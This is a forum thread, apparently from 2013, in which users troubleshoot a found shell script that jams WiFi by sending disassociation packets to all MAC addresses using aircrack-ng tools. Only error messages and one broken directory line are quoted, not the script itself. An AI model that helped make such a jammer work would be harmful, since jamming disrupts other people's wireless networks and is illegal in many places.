    I found this online, & I know it has some problems, but maybe we all could fix it up? I'm trying to get it working.
    So far it says
    jamwifi.sh: line 29: syntax error: unexpected "(" (expecting "then")

    Any ideas?

    Do you have the original script that you got this code from or is this all you have?

    Ok the 0.2 version seems even worse off. :(
    Do you think the code that I posted from 0.1 can be made workable?

    Cool! Thank you. Ok I tried it out and it just would print : Run it as root
    whether sudo or not, so I think I'll comment out that whole bit and try it again.

    Hmm.. still no go

    This part is screwing it up though

    21: # Changes working directory to the same as this file
    22: DIR=”$( cd “$( dirname “$0? )” && pwd )”
    23: cd $DIR

    jam_wifi.sh: cd: line 22: can't cd to
    jam_wifi.sh: cd: line 22: can't cd to
    jam_wifi.sh: line 1: syntax error: unterminated quoted string

    I'm not great at this, but it would be cool to have this script work.
    Basically I think that it "works" by sending Disassociate Packets to all MAC addresses.

    Alright I got it working however the options are limited, make sure that your WiFi interface is up before selecting 1 then after interface selected press 2.

    I forgot to mention, don't run it in a directory where you have saved .cap files, run it from a new directory because the script deletes all .cap files.

    In Xiaopan? chmod +x ?
    --- Double Post Merged, 8 Sep 2013 ---
    Thanks I will give it a try now-

    Ok cool the script runs and Option 1 works, it finds my WiFi and sets it, Option 2 to begin jamming process, I pressed 2, then it asked what channel so I try # 6 , but it just went back to the "select 1, 2, 3" menu, so no go, or is it doing it's thing in the background still? Thank you for working on this

    Yes in xiaopan i'll check what i set it at next time i use xiaopan. Pretty sure i changed the group and user made it executable changed read and write. If your have problems with chmod commands just use xfe and click on file properties.

    Yeah, the script is a-bit primitive at-the-moment it runs in the background, you can see the wifi adapter flashing and heating up when you use option 2.
    If you want I can make it look more friendly?

    Hi Aby$m, thank you for cleaning it up. It is pretty user - friendly right now, the scan function where you can see what SSIDs are using which channels in other versions was nice. I checked out your version of the script and I'm sorry to say that after picking wlan0 and option 2, channel 11 for example it goes back to asking me what channel again, but my wifi isn't doing anything in the background. In the script I see it's trying to run the aircrack-ng's commands in xterm, should these be opening in new terminal windows? Otherwise so far my LED light on the front of my 2W alfa does not blink rapidly when "jamming", and I don't see any traffic on another computer running monitoring, so maybe I have to fix something. I am using the Xiaopan 0.4.7+ for this. Are there any logs that I can post to help diagnose this?

    I was using the non-BASH environment of SliTaz Shell.

    like the old proverb says "if it ain't broke, don't fix it".

    It's probably best just to stick with the original BASH version of the script.

    Oh, is the problem that it would not work in Xiaopan? (Tiny Core)
    Does it work in your Xiaopan Slitaz v2?

    I did not test it in Xiaopan OS.

    Indeed however, since I did not do much to the code (couldn't be stuffed) it looks very basic, If I can be stuffed to make it look better I'll do it.

    I have other projects that I much prefer to be working on at-the-moment.
